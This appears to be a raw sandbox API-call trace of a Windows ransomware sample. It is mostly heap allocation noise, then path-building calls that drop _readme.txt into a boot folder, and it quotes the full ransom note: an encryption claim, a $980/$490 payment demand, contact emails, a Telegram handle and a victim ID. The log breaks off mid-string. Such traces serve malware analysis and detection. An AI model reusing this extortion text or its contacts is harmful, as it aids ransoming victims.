[0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.609] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.609] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.610] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.610] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.611] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.611] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.612] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.612] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.613] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0116.613] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.613] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.613] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.613] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.614] PathFindFileNameW (pszPath="") returned="" [0116.614] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.614] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.614] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.614] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.614] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.614] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.614] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.614] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.614] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.614] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.614] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.614] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.614] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.614] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.614] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.614] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dc2a8 [0116.614] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0116.614] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.614] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.614] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0116.615] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.615] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.615] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our 